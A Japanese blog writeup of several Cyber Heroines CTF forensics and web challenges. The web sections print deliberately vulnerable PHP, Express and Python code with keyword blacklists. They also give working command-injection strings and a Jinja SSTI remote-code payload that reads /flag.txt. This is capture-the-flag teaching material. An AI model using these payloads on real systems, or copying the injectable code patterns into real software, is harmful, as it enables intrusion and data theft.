はまやんはまやんはまやん

hamayanhamayan's blog

Cyber Heroines CTF Writeup

[forensics] Barbara Liskov

pycファイルが与えられる。
デコンパイルしたり、実行してみようとするが、

$ uncompyle6 BarbaraLiskov.pyc
Unknown magic number 3495 in BarbaraLiskov.pyc
$ python BarbaraLiskov.pyc 
RuntimeError: Bad magic number in .pyc file

と言われる。
調べるとバージョンごとにマジックナンバーが違うらしい。
pycのマジックナンバーについて調べました。
ほう。
3495で調べるとpython3.11っぽい。
Unknown magic number 3495 in Demand_Change_Report.pyc · Issue #461 · rocky/python-uncompyle6
しかも、uncompyle6ではデコードできないっぽい。
pythonをとりあえず最新に上げて動かす。
動かすと以下のような感じ。

$ python BarbaraLiskov.pyc 
Enter the digital code >>> 1
<<< Incorrect code.

uncompyle6は使えなかったので標準機能でデコンパイルする。

import dis
import marshal

with open('BarbaraLiskov.pyc', 'rb') as f:
    f.seek(16)
    print(dis.dis(marshal.load(f)))

かなり見やすく出てくるので、それっぽいのを探すと、

 13           2 LOAD_CONST               1 ('Y2hjdGZ7dV9uM3Yzcl9uMzNkXzBwdDFtNGxfcDNyZjBybTRuYzMsX3VfbjMzZF9nMDBkLTNuMHVnaF9wM3JmMHJtNG5jM30=')
              4 STORE_FAST               0 (encoded_string)

 14           6 LOAD_GLOBAL              1 (NULL + base64)
             18 LOAD_ATTR                1 (b64decode)
             28 LOAD_FAST                0 (encoded_string)
             30 PRECALL                  1
             34 CALL                     1
             44 STORE_FAST               1 (bytes)

とあり、このbase64文字列をデコードするとフラグが書いてあった。

[forensics] Margaret Hamilton

jpgファイルが与えられる。
とりあえずstringsしてみると、なんかある。

$ strings -n 10 Apollo-Mystery.jpg
KPossibility of a secret flag - https://www.youtube.com/shorts/y3I-mbNCC80
...
margaret_flag.pngUT

youtube動画はMargaret Hamiltonの紹介動画。
margaret_flag.pngが気になる。
binwalkで探すとこのpng画像が取得でき、フラグが書いてある。

$ binwalk -e Apollo-Mystery.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
98309         0x18005         Zip archive data, at least v2.0 to extract, compressed size: 923047, uncompressed size: 932086, name: margaret_flag.png
1021518       0xF964E         End of Zip archive, footer length: 22

[forensics] Elizabeth Feinler

pcapファイルが与えられる。
WireSharkで開くとDNS通信が記録されていたが、143.google.WiCys.comのように数字が先頭についたドメインを名前解決しようとしている。
数字を全部抜き出す。

143 150 143 164 146 173 143 162 63 141 164 60 162 137 60 146 137 144 60 155 141 151 156 137 156 64 155 63 137 163 171 163 164 63 155 175

眺めると255以下の数字ばかりなのでascii文字のdecimal表現かもしれない。
全部抜き出してCyberChefでfrom Decimalしてみるが…変な感じ。
んーと思ってCyberChefのmagicにかけてみると、Octalだった!

https://gchq.github.io/CyberChef/#recipe=From_Octal('Space')

From Octalでフラグが出てくる。

[web] Grace Hopper

コマンドが自由に打てるサイトが与えられるが、ブラックボックスか何かで制限がかけられている。

$ find
.
./vulnerable.php
./cyberheroines.txt
./cyberheroines.sh
$ grep "" vulnerable.php

これでサイトのソースコードが得られる。

<?php
$output = '';
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    $blacklist = array('cat', 'ls', 'more', 'tac', 'nl', 'head', 'tail', 'awk', 'sed');
    $safe_to_run = true;
    foreach ($blacklist as $word) {
        if (strpos($cmd, $word) !== false) {
            $safe_to_run = false;
            $output = "You think it's that easy? Try harder!";
            break;
        }
    }

    if ($safe_to_run) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    }
}
?>

[REDACTED]

        <div class="output">
            <strong>Output:</strong><br>
            <pre><?php echo htmlspecialchars($output); ?></pre>
        </div>
    </div>
</body>

</html>

どういう制約が付いているのかが分かった。
他の2つのファイルも見てみる。

$ grep "" cyberheroines.txt
e2d49cb900cc2b8aad02d972099366c44381e3e7c24736312ca839fbd18743a7  -
$ grep "" cyberheroines.sh
FLAG="CHCTF{t#!$_!s_T#3_w@Y}"
echo -n "$FLAG" | sha256sum > cyberheroines.txt

フラグが見つかった。

[web] Radia Perlman

My DNS Appというwebアプリが与えられる。
/dns?ip=cyberheroines.ctfd.ioという使い方をする。
色々ブラックボックスで使えなくなっているが;が使えたので;idでコマンドインジェクションできた。
cyberheroines.ctfd.io ; grep "" code7.jsでcode7.jsを開くことができ、ソースコードを確認できる。

const express = require('express');
const path = require('path');
const cp = require('child_process');

const app = express();

// Serve static files from 'public' folder
app.use(express.static('public')); 

// Set 'views' folder and view engine
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'hbs');

// Home page route
app.get('/', (req, res) => {
  res.render('index'); 
});

// About page route
app.get('/about', (req, res) => {
  res.render('about');
});

// Contact page route
app.get('/contact', (req, res) => {
  res.render('contact');
});

// Vulnerable dns route
app.get('/dns', (req, res) => {
  const ip = req.query.ip;

  if (isSafeInput(ip)) {
    try {
      const commandOutput = cp.execSync("nslookup " + ip + " 2>&1").toString();
      res.send('Command Output: ' + commandOutput);
    } catch (error) {
      res.send('Error: ' + error.message);
    }
  } else {
    res.send('Nope. You have to try harder !');
  }
});

// Check for unsafe input (e.g., unsafe keywords except "head")
function isSafeInput(input) {
  const unsafeKeywords = ["cat", "tail", "less", "more", "awk", "&&", "head", "|", "$", "`", "<", ">", "&", "*"];
  return !unsafeKeywords.some(keyword => input.includes(keyword)) || input === "head";
}

// Start server
app.listen(3000, () => {
  console.log('Server listening on port 3000'); 
});

lsコマンドで探索すると/app/flag.txtというのがあり、
; grep "" /app/flag.txtでフラグ獲得。

[web] Shafrira Goldwasser

ソースコードが与えられている。
中身を見るとnaiveなSQL Injection脆弱性…もあるが、コマンドインジェクションが可能。

def query_database(name):
    query = 'sqlite3 database.db "SELECT biography FROM cyberheroines WHERE name=\'' + str(name) +'\'\"'
    result = subprocess.check_output(query, shell=True, text=True)
    return result

'" && id #を試しに送るとidの結果が帰ってくる。
'" && cat /flag.txt #でフラグ獲得。

[web] Frances Allen

Cyber Heroineを立候補できるサイトが与えられる。
立候補したいCyber Heroineの名前とその説明を送る。
色々実験すると、説明文の所に{{7*7}}を置くと49になった。SSTI脆弱性がある。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}ディレクトリが列挙されたのでRCE達成。
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}でフラグ獲得